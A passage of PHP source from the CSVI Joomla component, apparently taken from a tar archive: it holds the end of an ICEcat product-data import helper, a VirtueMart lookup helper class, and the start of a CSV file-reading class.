					$this->_csvi_data['product_files_file_title'][] = basename($attribs['MANUALPDFURL']);
				}
				if (!empty($attribs['PDFURL'])) {
					$this->_csvi_data['product_files_file_name'][] = $attribs['PDFURL'];
					$this->_csvi_data['product_files_file_url'][] = $attribs['PDFURL'];
					$this->_csvi_data['product_files_file_title'][] = basename($attribs['PDFURL']);
				}
				break;
			default:
				break;
		}

		// Add the tagname of the list of processing tags
		$this->_open_tags[] = $tagname;
	}

	/**
	 * Process end elements
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _endElement($parser, $tagname) {
		// Remove the current tag as we are done with it
		array_pop($this->_open_tags);
	}

	/**
	 * Process the inner data
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _characterData($parser, $data) {
		$current_tag = end($this->_open_tags);
		switch ($current_tag) {
			case 'shortsummarydescription':
				// $this->_csvi_data['product_s_desc'] .= $data;
				break;
			case 'longsummarydescription':
				// $this->_csvi_data['product_desc'] .= $data;
				break;
		}
	}

	/**
	 * Set up the XML parser
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		3.0
	 */
	private function _setupXmlParser() {
		$this->_xml_parser = xml_parser_create("UTF-8");
		xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1);
		xml_set_object($this->_xml_parser, $this);
		xml_set_element_handler($this->_xml_parser, "_startElement", "_endElement");
		xml_set_character_data_handler($this->_xml_parser, "_characterData");

		if ($this->_xml_parser) return true;
		else return false;
	}

	/**
	 * Request the data from ICEcat
	 *
	 * There are different URLs to get the data from:
	 *
	 * Open ICEcat users have access to:
	 * http://data.icecat.biz/export/freexml.int/INT/ for access to the standardized data files (QUALITY=ICECAT).
	 * The language-specific data-files are found here:
	 * http://data.icecat.biz/export/freexml.int/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK etc.
	 *
	 * For the Full ICEcat subscribers, a separate directory structure is in place. The standardized files are located at:
	 * http://data.icecat.biz/export/level4/INT
	 * and the language dependent versions are found here:
	 * http://data.icecat.biz/export/level4/[code]/[product_id].xml, where [code] stands e.g. for NL, EN, FR, DE, IT, ES, DK, etc. For
	 *
	 * Products need to be matched to a product file found at http://data.icecat.biz/export/freexml/EN/
	 *
	 * an index file with references to all product data-sheets in ICEcat or Open ICEcat, also historical/obsolete products
	 * files.index.csv|xml or files.index.csv.gz|xml.gz
	 * a smaller index file with only references to the new or changed product data-sheets of the respective day
	 * daily.index.csv|xml or daily.index.csv.gz|xml.gz
	 * an index file with only the products that are currently on the market, as far as we can see that based on 100s  of distributor and reseller price files
	 * on_market.index.csv|xml or on_market.index.csv.gz|xml.gz)
	 * an index file with the products that are or were on the market for which we only have basic market data, but no complete data-sheet
	 * nobody.index.csv|xml or nobody.index.csv.gz|xml.gz
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo 		Check for gzip functionality to reduce filesize
	 * @see
	 * @access 		private
	 * @param 		string	$icecat_id	the ICEcat ID to retrieve
	 * @return
	 * @since 		3.0
	 */
	private function _callIcecat($icecat_id) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);
		$settings = new CsviSettings();

		// Construct the URL
		$url = ($settings->get('icecat.ice_advanced')) ? 'http://data.icecat.biz/export/level4/' : 'http://data.icecat.biz/export/freexml.int/';
		// The language to use
		$url .= $settings->get('icecat.ice_lang').'/';
		// The ID to retrieve
		$url .= $icecat_id.'.xml';
		$csvilog->addDebug(JText::sprintf('COM_CSVI_CALL_ICECAT_URL', $url));

		// Initialise the curl call
		$curl = curl_init();

		// set URL and other appropriate options
		curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($curl, CURLOPT_USERPWD, $settings->get('icecat.ice_username').":".$settings->get('icecat.ice_password'));

		// grab URL and pass it to the browser
		$this->_data = curl_exec($curl);

		// close cURL resource, and free up system resources
		curl_close($curl);
	}

	/**
	 * Supported ICEcat languages
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function supportdLanguages() {
		$codes = array();
		$codes[] = 'INT'; // - International standardized version of a data-sheet. When QUALITY = ICEcat language independent values.
		$codes[] = 'EN'; // Standard or UK English
		$codes[] = 'US'; // US English
		$codes[] = 'NL'; // Dutch
		$codes[] = 'FR'; // French
		$codes[] = 'DE'; // German
		$codes[] = 'IT'; // Italian
		$codes[] = 'ES'; // Spanish
		$codes[] = 'DK'; // Danish
		$codes[] = 'RU'; // Russian
		$codes[] = 'PT'; // Portuguese
		$codes[] = 'ZH'; // Chinese (simplified)
		$codes[] = 'SE'; // Swedish
		$codes[] = 'PL'; // Polish
		$codes[] = 'CZ'; // Czech
		$codes[] = 'HU'; // Hungarian
		$codes[] = 'FI'; // Finnish
		$codes[] = 'NO'; // Norwegian
		$codes[] = 'TR'; // Turkish
		$codes[] = 'BG'; // Bulgarian
		$codes[] = 'KA'; // Georgian
		$codes[] = 'RO'; // Romanian
		$codes[] = 'SR'; // Serbian
		$codes[] = 'JA'; // Japanese
		$codes[] = 'UK'; // Ukrainian
		$codes[] = 'CA'; // Catalan
		$codes[] = 'HR'; // Croatian

		return $codes;
	}
}
?>
������������������������������������������������������������������������������������com_virtuemart.php����������������������������������������������������������������������������������0000666�����������������00000060074�15137667660�0010351 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * VirtueMart helper file
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: com_virtuemart.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined('_JEXEC') or die;

/**
 * The VirtueMart Config Class
 *
* @package CSVI
 */
class Com_VirtueMart {

	private $_csvidata = null;
	private $_vendor_id = null;
	private $_related_id = null;
	private $_catsep = null;
	private $_options = array();

	/**
	 * Constructor
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		4.0
	 */
	public function __construct() {
		$jinput = JFactory::getApplication()->input;
		$this->_csvidata = $jinput->get('csvi_data', null, null);
	}

	/**
	 * Get the product id, this is necessary for updating existing products
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo 		Reduce number of calls to this function
	 * @see
	 * @access 		protected
	 * @param
	 * @return 		integer	product_id is returned
	 * @since 		3.0
	 */
	public function getProductId() {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDBO();
		$csvilog = $jinput->get('csvilog', null, null);
		$template = $jinput->get('template', null, null);
		$update_based_on = $template->get('update_based_on', 'product', 'product_sku');
		switch ($update_based_on) {
			case 'product_sku':
				$product_id = $this->_csvidata->get('product_id');
				if ($product_id) {
					return $product_id;
				}
				else {
					$product_sku = $this->_csvidata->get('product_sku');
					if ($product_sku) {
						$query = $db->getQuery(true);
						$query->select('virtuemart_product_id');
						$query->from('#__virtuemart_products');
						$query->where('product_sku = '.$db->Quote($product_sku));
						$db->setQuery($query);
						$csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU'), true);
						return $db->loadResult();
					}
					else return false;
				}
				break;
			case 'product_mpn':
				$mpn_column = $template->get('mpn_column_name', 'product', false);
				$product_mpn = $this->_csvidata->get($mpn_column);
				if ($product_mpn) {
					$query = $db->getQuery(true);
					$query->select('virtuemart_product_id');
					$query->from('#__virtuemart_products');
					$query->where($db->quoteName($mpn_column)." = ".$db->Quote($product_mpn));
					$db->setQuery($query);
					$csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_MPN'), true);
					return $db->loadResult();
				}
				else return false;
				break;
			case 'product_child_sku':
				$product_sku = $this->_csvidata->get('product_sku');
				$product_parent_sku = $this->_csvidata->get('product_parent_sku');
				if ($product_sku && $product_parent_sku) {
					// Load the product parent ID
					$query = $db->getQuery(true);
					$query->select('virtuemart_product_id');
					$query->from('#__virtuemart_products');
					$query->where('product_sku = '.$db->Quote($product_parent_sku));
					$db->setQuery($query);
					$csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_PARENT_SKU'), true);
					$product_parent_id = $db->loadResult();

					// Load the product ID of the child
					$query = $db->getQuery(true);
					$query->select('virtuemart_product_id');
					$query->from('#__virtuemart_products');
					$query->where('product_sku = '.$db->Quote($product_sku));
					$query->where('product_parent_id = '.$product_parent_id);
					$db->setQuery($query);
					$csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_CHILD_SKU'), true);
					return $db->loadResult();
				}
				else if ($product_sku) {
					$query = $db->getQuery(true);
					$query->select('virtuemart_product_id');
					$query->from('#__virtuemart_products');
					$query->where('product_sku = '.$db->Quote($product_sku));
					$db->setQuery($query);
					$csvilog->addDebug(JText::_('COM_CSVI_FIND_PRODUCT_SKU_BASED_CHILD'), true);
					return $db->loadResult();
				}
				else {
					$csvilog->addDebug(JText::_('COM_CSVI_NO_CHILD_NO_PARENT'));
					return false;
				}
				break;
			default:
				return false;
				break;
		}
	}

	/**
	 * Determine vendor ID
	 *
	 * Determine for which vendor we are importing product details.
	 *
	 * The default vendor is the one with the lowest vendor_id value
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo 		Add full vendor support when VirtueMart supports it
	 * @see
	 * @access 		protected
	 * @param
	 * @return 		integer	the vendor database ID
	 * @since 		3.0
	 */
	public function getVendorId() {
		if (!$this->_vendor_id) {
			$jinput = JFactory::getApplication()->input;
			$db = JFactory::getDbo();
			$csvilog = $jinput->get('csvilog', null, null);

			// Get some values
			$vendor_id = $this->_csvidata->get('virtuemart_vendor_id');
			$product_sku = $this->_csvidata->get('product_sku', false);

			// User is uploading vendor_id
			if ($vendor_id) return $vendor_id;

			// User is not uploading vendor_id
			// First get the vendor with the lowest ID
			$query = $db->getQuery(true);
			$query->select('MIN(virtuemart_vendor_id) AS vendor_id');
			$query->from('#__virtuemart_vendors');
			$db->setQuery($query);
			$min_vendor_id = $db->loadResult();

			if ($min_vendor_id) {
				if ($product_sku) {
					$query = $db->getQuery(true);
					$query->select('IF (COUNT(virtuemart_vendor_id) = 0, '.$min_vendor_id.', virtuemart_vendor_id) AS vendor_id');
					$query->from('#__virtuemart_products');
					$query->where('product_sku = '.$db->Quote($product_sku));
					$db->setQuery($query);

					// Existing vendor_id
					$vendor_id = $db->loadResult();
					$csvilog->addDebug(JText::_('COM_CSVI_CHECK_VENDOR_EXISTS'), true);

					$this->_vendor_id = $vendor_id;
					return $vendor_id;
				}
				// No product_sku uploaded
				else {
					$this->_vendor_id = $min_vendor_id;
					return $min_vendor_id;
				}
			}
			else {
				// No vendor found, so lets default to 1
				$this->_vendor_id = 1;
			}
		}
		return $this->_vendor_id;
	}

	/**
	 * Get the shopper group id
	 *
	 * Only get the shopper group id when the shopper_group_name is set
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		protected
	 * @param		string	$shopper_group_name	the name of the shopper group to find
	 * @return 		integer	the database ID of the shopper group
	 * @since 		3.0
	 */
	public function getShopperGroupId($shopper_group_name) {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$csvilog = $jinput->get('csvilog', null, null);
		$query->select('virtuemart_shoppergroup_id');
		$query->from('#__virtuemart_shoppergroups');
		$query->where('shopper_group_name = '.$db->q($shopper_group_name));
		$db->setQuery($query);
		$shopper_group_id = $db->loadResult();
		$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_SHOPPER_GROUP_NAME'), true);
		return $shopper_group_id;
	}

	/**
	 * Get the currency ID of the specified vendor
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$vendor_id	the ID of the vendor
	 * @return
	 * @since 		4.0
	 */
	public function getVendorCurrency($vendor_id) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('vendor_currency'));
		$query->from($db->quoteName('#__virtuemart_vendors'));
		$query->where($db->quoteName('vendor_currency').' = '.$db->quote($vendor_id));
		$db->setQuery($query);
		return $db->loadResult();
	}

	/**
  	 * Gets the default Shopper Group ID
  	 *
  	 * @copyright
  	 * @author 		RolandD
  	 * @todo 		add error checking
  	 * @see
  	 * @access 		protected
  	 * @param
  	 * @return 		integer	the database shopper ID
  	 * @since		4.0
  	 */
	public function getDefaultShopperGroupID() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);

		$vendor_id = $this->getVendorId();
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('virtuemart_shoppergroup_id');
		$query->from('#__virtuemart_shoppergroups');
		$query->where($db->quoteName('default').' = 1');
		$query->where($db->quoteName('virtuemart_vendor_id').' = '.$vendor_id);
		$db->setQuery($query);
		$default = $db->loadResult();
		$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_DEFAULT_SHOPPER_GROUP'), true);
		return $default;
	}

	/**
	 * Create a slug
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string	$name	the string to turn into a slug
	 * @return 		string	the slug for the product
	 * @since 		4.0
	 */
	public function createSlug($name) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);

		// Transliterate
		$lang = new JLanguage($template->get('language', 'general', '', null, 0, false));
		$str = $lang->transliterate($name);

		// Trim white spaces at beginning and end of alias and make lowercase
		$str = trim(JString::strtolower($str));

		// Remove any duplicate whitespace, and ensure all characters are alphanumeric
		$str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-', $str);

		// Trim dashes at beginning and end of alias
		$str = trim($str, '-');

		// If we are left with an empty string, make a date with random number
		if (trim(str_replace('-', '', $str)) == '') {
			$jdate = JFactory::getDate();
			$str = $jdate->format("Y-m-d-h-i-s").mt_rand();
		}
		return $str;
	}

	/**
	 * Get the custom related field ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		4.0
	 */
	public function getRelatedId() {
		if (!$this->_related_id) {
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('virtuemart_custom_id');
			$query->from('#__virtuemart_customs');
			$query->where('virtuemart_vendor_id = '.$this->getVendorId());
			$query->where('field_type = '.$db->Quote('R'));
			$db->setQuery($query);
			$this->_related_id = $db->loadResult();
		}
		return $this->_related_id;
	}

	/**
	 * Load the order status code
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string	$order_status_name	the name of the order status
	 * @return 		string 	the order status code
	 * @since 		2.3.11
	 */
	public function getOrderStatus($order_status_name) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('order_status_code');
		$query->from('#__virtuemart_orderstates');
		$query->where('order_status_name = '.$db->Quote($order_status_name));
		$db->setQuery($query);
		return $db->loadResult();
	}

	/**
	 * Get the currency ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string	$currency_name	the name of the currency
	 * @param		int		$vendor_id		the ID of the vendor
	 * @return
	 * @since 		4.0
	 */
	public function getCurrencyId($currency_name, $vendor_id) {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('virtuemart_currency_id');
		$query->from('#__virtuemart_currencies');
		$query->where('currency_code_3 = '.$db->Quote($currency_name));
		$query->where('virtuemart_vendor_id = '.$vendor_id);
		$db->setQuery($query);
		$currency_id = $db->loadResult();
		$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_CURRENCY_ID'), true);
		return $currency_id;
	}

	/**
	 * Get the country ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string	$country_name	the name of the country
	 * @param		string	$country_2_code	the 2 letter notification
	 * @param		string	$country_3_code	the 3 letter notification
	 * @return
	 * @since 		4.0
	 */
	public function getCountryId($country_name=null, $country_2_code=null, $country_3_code=null) {
		$country_id = null;
		if (isset($country_name) || isset($country_2_code) || isset($country_3_code)) {
			$jinput = JFactory::getApplication()->input;
			$csvilog = $jinput->get('csvilog', null, null);
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('virtuemart_country_id');
			$query->from('#__virtuemart_countries');
			if (isset($country_name)) $query->where('country_name = '.$db->Quote($country_name));
			else if (isset($country_2_code)) $query->where('country_2_code = '.$db->Quote($country_2_code));
			else if (isset($country_3_code)) $query->where('country_3_code = '.$db->Quote($country_3_code));
			$db->setQuery($query);
			$country_id = $db->loadResult();
			$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_COUNTRY_ID'), true);
		}
		return $country_id;
	}

	/**
	 * Get the state ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string	$state_name		the name of the state
	 * @param		string	$state_2_code	the 2 letter notification
	 * @param		string	$state_3_code	the 3 letter notification
	 * @return
	 * @since 		4.0
	 */
	public function getStateId($state_name=null, $state_2_code=null, $state_3_code=null) {
		$state_id = null;
		if (isset($state_name) || isset($state_2_code) || isset($state_3_code)) {
			$jinput = JFactory::getApplication()->input;
			$csvilog = $jinput->get('csvilog', null, null);
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('virtuemart_state_id');
			$query->from('#__virtuemart_states');
			if (isset($state_name)) $query->where('state_name = '.$db->Quote($state_name));
			else if (isset($state_2_code)) $query->where('state_2_code = '.$db->Quote($state_2_code));
			else if (isset($state_3_code)) $query->where('state_3_code = '.$db->Quote($state_3_code));
			$db->setQuery($query);
			$state_id = $db->loadResult();
			$csvilog->addDebug(JText::_('COM_CSVI_DEBUG_GET_STATE_ID'), true);
		}
		return $state_id;
	}

	/**
	 * Get category list
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param		string	$language	the language code for the category names
	 * @return
	 * @since 		4.0
	 */
	public function getCategoryTree($language) {
		// Clean up the language if needed
		$language = strtolower(str_replace('-', '_', $language));

		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		// 1. Get all categories
		$query->select('x.category_parent_id AS parent_id, x.category_child_id AS id, l.category_name AS catname');
		$query->from('#__virtuemart_categories c');
		$query->leftJoin('#__virtuemart_category_categories x ON c.virtuemart_category_id = x.category_child_id');
		$query->leftJoin('#__virtuemart_categories_'.$language.' l ON l.virtuemart_category_id = c.virtuemart_category_id');
		$db->setQuery($query);
		$rawcats = $db->loadObjectList();
		if (!empty($rawcats)) {
			// 2. Group categories based on their parent_id
			$categories = array();
			foreach ($rawcats as $key => $rawcat) {
				$categories[$rawcat->parent_id][$rawcat->id]['pid'] = $rawcat->parent_id;
				$categories[$rawcat->parent_id][$rawcat->id]['cid'] = $rawcat->id;
				$categories[$rawcat->parent_id][$rawcat->id]['catname'] = $rawcat->catname;
			}
			if (count($rawcats) > 10) $categorysize = 10;
			else $categorysize = count($rawcats)+1;
		}
		$this->_options = array();
		// Add a don't use option
		$this->_options[] = JHtml::_('select.option', '', JText::_('COM_CSVI_EXPORT_DONT_USE'));

		if (isset($categories)) {
			if (count($categories) > 0) {
				// Take the toplevels first
				foreach ($categories[0] as $key => $category) {
					$this->_options[] = JHtml::_('select.option', $category['cid'], $category['catname']);

					// Write the subcategories
					$suboptions = $this->buildCategory($categories, $category['cid'], array());
				}
			}
		}
		return $this->_options;
	}

	/**
	* Create the subcategory layout
	*
	* @copyright
	* @author		RolandD
	* @todo
	* @see
	* @access 		private
	* @param
	* @return 		array	select options for the category tree
	* @since 		3.0
	*/
	private function buildCategory($cattree, $catfilter, $subcats, $loop=1) {
		if (isset($cattree[$catfilter])) {
			foreach ($cattree[$catfilter] as $subcatid => $category) {
				$this->_options[] = JHtml::_('select.option', $category['cid'], str_repeat('>', $loop).' '.$category['catname']);
				$subcats = $this->buildCategory($cattree, $subcatid, $subcats, $loop+1);
			}
		}
	}

	/**
	 * Construct the category path
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return
	 * @since 		4.0
	 */
	private function constructCategoryPath($catids) {
		$catpaths = array();
		if (is_array($catids)) {
			$jinput = JFactory::getApplication()->input;
			$template = $jinput->get('template', null, null);
			$csvilog = $jinput->get('csvilog', null, null);
			$db = JFactory::getDbo();

			// Load the category separator
			if (is_null($this->_catsep)) {
				$jinput = JFactory::getApplication()->input;
				$template = $jinput->get('template', null, null);
				$this->_catsep = $template->get('category_separator', 'general', '/');
			}

			// Get the paths
			foreach ($catids as $category_id) {
				// Create the path
				$paths = array();
				while ($category_id > 0) {
					$query = $db->getQuery(true);
					$query->select('category_parent_id, l.category_name');
					$query->from('#__virtuemart_category_categories x');
					$query->leftJoin('#__virtuemart_categories c ON x.category_child_id = c.virtuemart_category_id');
					$query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' l ON x.category_child_id = l.virtuemart_category_id');
					$query->where('category_child_id = '.$category_id);
					$db->setQuery($query);
					$path = $db->loadObject();
					$csvilog->addDebug('Get cat ID'.$category_id, true);
					// $catpaths[] = $this->_getJoomFishCategory($category_id, trim($path->category_name));
					if (is_object($path)) {
						$paths[] = $path->category_name;
						$category_id = $path->category_parent_id;
					}
					else {
						$csvilog->addDebug('COM_CSVI_CANNOT_GET_CATEGORY_ID');
						$csvilog->AddStats('incorrect', 'COM_CSVI_CANNOT_GET_CATEGORY_ID');
						return '';
					}
				}

				// Create the path
				$paths = array_reverse($paths);
				$catpaths[] = implode($this->_catsep, $paths);
			}
		}
		return $catpaths;
	}

	/**
	 * Creates the category path based on a category ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		protected
	 * @param 		int	$category_id the ID to create the category path from
	 * @return 		string	the category path
	 * @since 		3.0
	 */
	public function createCategoryPath($product_id, $id=false) {
		$db = JFactory::getDbo();

		// Get the category paths
		$query = $db->getQuery(true);
		$query->select($db->quoteName('virtuemart_category_id'));
		$query->from($db->quoteName('#__virtuemart_product_categories'));
		$query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($product_id));
		$db->setQuery($query);
		$catids = $db->loadColumn();

		if (!empty($catids)) {
			// Return the paths
			if ($id) {
				$result = $db->loadResultArray();
				if (is_array($result)) return implode('|', $result);
				else return null;
			}
			else {
				$catpaths = $this->constructCategoryPath($catids);
				if (is_array($catpaths)) return implode('|', $catpaths);
				else return null;
			}
		}
		else return null;
	}

	/**
	 * Create a category path based on ID
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		$catids array	list of IDs to generate category path for
	 * @return
	 * @since 		4.0
	 */
	public function createCategoryPathById($catids) {
		if (!is_array($catids)) $catids = (array)$catids;
		$paths = $this->constructCategoryPath($catids);
		if (is_array($paths)) return implode('|', $paths);
		else return '';
	}

	/**
	* Get the category ID for a product
	*
	* @copyright
	* @author 		RolandD
	* @todo
	* @see
	* @access 		protected
	* @param 		int	$product_id	the product ID to get the category for
	* @return 		int	the category ID the product is linked to limited to 1
	* @since 		3.0
	*/
	public function getCategoryId($product_id) {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('virtuemart_category_id');
		$query->from('#__virtuemart_product_categories');
		$query->where('virtuemart_product_id = '.$product_id);
		$db->setQuery($query, 0, 1);
		return $db->loadResult();
	}

	/**
	 * Determine the shipping cost
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.5
	 */
	public function shippingCost($product_price) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$prices = $template->get('shopper_shipping_export_fields', '', array());
		$fee = null;
		if (!empty($prices)) {
			foreach ($prices['_price_from'] as $kfrom => $price_from) {
				// Check if we have an end price
				$price_from = str_replace(',', '.', $price_from);
				$price_to = str_replace(',', '.', $prices['_price_to'][$kfrom]);
				if (!empty($price_to)) {
					if ($product_price >= $price_from && $product_price < $price_to) {
						$fee = $kfrom;
						break;
					}
				}
				else {
					if ($product_price >= $price_from) {
						$fee = $kfrom;
						break;
					}
				}
			}
		}

		if (!is_null($fee)) return $prices['_fee'][$fee];
		else return false;
	}

	/**
	* Get the list of order users
	*
	* @copyright
	* @author		RolandD
	* @todo
	* @see
	* @access 		public
	* @param
	* @return 		array of objects
	* @since 		4.0
	*/
	public function getOrderUser() {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$filter = $jinput->get('filter');
		$q = "SELECT DISTINCT virtuemart_user_id AS user_id,
				IF (LENGTH(TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name))) = 0, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."',
				IF (TRIM(CONCAT(first_name, ' ', middle_name, ' ', last_name)) is NULL, '".JText::_('COM_CSVI_EXPORT_ORDER_USER_EMPTY')."', CONCAT(first_name, ' ', middle_name, ' ', last_name))) AS user_name
				FROM #__virtuemart_order_userinfos
				WHERE (first_name LIKE ".$db->Quote('%'.$filter.'%')."
					OR middle_name LIKE ".$db->Quote('%'.$filter.'%')."
					OR last_name LIKE ".$db->Quote('%'.$filter.'%').")
				ORDER BY user_name
				LIMIT 10;";
		$db->setQuery($q);
		return $db->loadObjectList();
	}

	/**
	* Get the list of order products
	*
	* @copyright
	* @author		RolandD
	* @todo
	* @see
	* @access 		public
	* @param
	* @return 		array of objects
	* @since 		4.0
	*/
	public function getOrderProduct() {
		$jinput = JFactory::getApplication()->input;
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$filter = $jinput->get('filter');
		$q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name
				FROM #__virtuemart_order_items o
				WHERE (order_item_sku LIKE ".$db->Quote('%'.$filter.'%')."
					OR order_item_name LIKE ".$db->Quote('%'.$filter.'%').")
				ORDER BY order_item_name
				LIMIT 10;";
		$db->setQuery($q);
		return $db->loadObjectList();
	}

	/**
	 * Get the list of order item products
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array of objects
	 * @since 		4.0
	 */
	public function getOrderItemProduct() {
		$db = JFactory::getDBO();
		$filter = JRequest::getVar('filter');
		$q = "SELECT DISTINCT order_item_sku AS product_sku, order_item_name AS product_name
				FROM #__virtuemart_order_items o
				WHERE (o.order_item_sku LIKE ".$db->Quote('%'.$filter.'%')."
					OR o.order_item_name LIKE ".$db->Quote('%'.$filter.'%').")
				ORDER BY order_item_name
				LIMIT 10;";
		$db->setQuery($q);
		return $db->loadObjectList();
	}
}
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/**
 * CSV file processor class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csv.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

class CsvFile extends CsviFile {

	/** @var string Contains the field delimiter */
	private $_field_delimiter = null;

	/** @var string Contains the text enclosure */
	private $_text_enclosure = null;

	/** @var bool Sets to true if a file delimiters have been checked */
	private $_checked_delimiter = false;

	/**
	 * Construct the class and its settings
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Load the column headers from a file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true
	 * @since 		3.0
	 */
	public function loadColumnHeaders() {
		$jinput = JFactory::getApplication()->input;
		// Column headers are always the first line of the file
		// 1. Store current position
		$curpos = $this->getFilePos();
		if ($curpos > 0) {
			// 2. Go to the beginning of the file
			$this->setFilePos(0);
		}
		// 3. Read the line
		$jinput->set('columnheaders', $this->ReadNextLine());
		if ($curpos > 0) {
			// 4. Set the position back
			$this->setFilePos($curpos);
		}
		$this->linepointer++;
		return true;
	}

	/**
	 * Get the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function getFilePos() {
		return ftell($this->fp);
	}

	/**
	 * Set the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$pos	the position to move to
	 * @return 		int	0 if success | -1 if not success
	 * @since 		3.0
	 */
	public function setFilePos($pos) {
		return fseek($this->fp, $pos);
	}

	/**
	 * Close the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function closeFile($removefolder=true) {
		fclose($this->fp);
		$this->_closed = true;
		parent::closeFile($removefolder);
	}

	/**
	 * Read the next line in the file
